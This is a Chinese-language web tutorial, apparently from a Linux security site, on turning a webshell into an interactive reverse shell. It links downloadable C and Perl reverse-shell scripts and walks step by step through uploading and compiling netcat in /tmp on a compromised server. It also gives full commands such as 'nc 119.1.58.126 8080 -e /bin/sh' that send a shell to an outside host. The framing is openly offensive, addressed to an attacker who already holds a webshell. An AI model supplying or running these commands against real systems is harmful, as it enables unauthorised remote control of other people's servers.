快捷搜索:   服务器  安全  linux 安全  MYSQL  dedecms

linux下反弹shell脚本 C版和Perl版 webshell反弹回命令行

 在线下载 可以用

wget http://www.linuxso.com/linuxexp/shell.c wget http://www.linuxso.com/linuxexp/shell.pl
C语言版 用法说明: 在外网linux上监听 nc -l -p 端口 gcc -o shell shell.c ./shell ip 端口
perl版 用法; 在外网linux上监听 nc -l -p 端口 perl shell.pl ip 端口
如果没有装NC 可以在线下载 wget http://www.linuxso.com/linuxexp/nc.tar.gz 解压 编译 安装 即可 tar -zxvf nc.tar.gz cd netcat-0.7.1 configure //也可以用prefix指定个路径 make make install
然后就可以监听了 命令 nc -l -p port
使用NC反弹Shell
在进行Shell反弹时,有时会碰到服务器不支持PHP或者WebShell无法成功反弹Shell的情况,例如有的服务器只支持JSP,不支持PHP。此时,可以同样采用Windows下的经典的NC反弹Shell方法。
在Windows下反弹CmdShell时,首先要在本机运行“nc -vv -l -p 端口号”监听端口,然后在WebShell中执行“nc -e cmd.exe 监听主机IP地址  端口”,就可以反弹一个CmdShell。这个方法在Linux中仍然可行,只不过需要作一点小小的改动。
——在本机监听端口后,在WebShell运行nc反弹时,需要发送的是“/bin/sh”,而不是cmd.exe,这样才够反弹发送一个Linux下的Shell命令行窗口给监听主机。例如执行如下命令:
nc ip 440 -e /bin/sh
即可反弹一个Shell到IP地址的监听主机的440端口。
远程主机无NC工具时的解决办法
在使用NC反弹Shell时,还会碰到远程主机上不能直接执行nc,或者没有安装nc工具。碰到这样的情况,可以给手工给远程主机安装一个NC,比较方便的方法是,到http://netcat.sourceforge.net/download.php下载nc源码,然后在本地Linux机器上编译成可执行程序后,再将编译文件上传到远程主机上。如果本地编译的程序在远程主机上无法使用,可以直接把源码传上去后,在目标机器上直接编译。
如果需要在目标机器上编译NC的话,需要注意一些问题,因为在得到Shell命令行窗口前,只能在WebShell里执行命令,一般每次只能执行一条,然后等待执行后的结果回显。
另外,在编译时需要注意程序执行路径的问题。由于Linux下权限设置非常严格,即使攻击者获得了WebShell,也可能无法直接在WEB网页目录下写入文件,只能在/tmp之类的文件夹中上传写入NC源文件
例如WebShell在/var/www/目录,那么在WebShell中执行命令默认的当前路径都是/var/www/,如果netcat源码包解压在了/tmp/netcat-0.7.1文件夹,在编译netcat进行make操作时,由于当前路径是/var/www/,而不是/tmp/netcat-0.7.1,所以在make操作时会出错。解决这个问题其实很简单,可以直接把切换路径和make操作两句命令写成一句,用分号隔开写就可以了。
将netcat-0.7.1源文件上传到可写文件夹/tmp中后,在WebShell中编译nc的操作过程及命令如下:
cd /tmp;tar zxvf /tmp/netcat-0.7.1.tar.gz
执行该命令后,可以将netcat-0.7.1源文件解压到/tmp/netcat-0.7.1目录中(图407)。然后再执行命令:
/tmp/netcat-0.7.1/configure
配置完毕后,再执行如下命令进行编译:
cd /tmp/netcat-0.7.1;make
由于使用了分号,可同时执行两条命令,将make跟在目录切换命令后面,在编译的时候就不会报错了
编译成功以后,就可以输入命令反弹Shell了,例如这里nc路径是/tmp/netcat-0.7.1/nc,在本地执行“nc -vv -l -p 8080”命令监听8080号端口后,在WebShell中执行如下命令:
cd /tmp/netcat-0.7.1;nc 119.1.58.126 8080 -e /bin/sh
即可向主机反弹回一个Shell命令行窗口了。需要注意的是,反弹的Linux Shell是没有$提示符的,执行一句返回一句。另外,这里反弹Shell时候运行的是/bin/sh,也可以反弹运行/bin/bash,但/bin/sh的权限比/bin/bash要设置松一些,因此成功率更高一些。
顶(0)
踩(0)

您可能还会对下面的文章感兴趣:

最新评论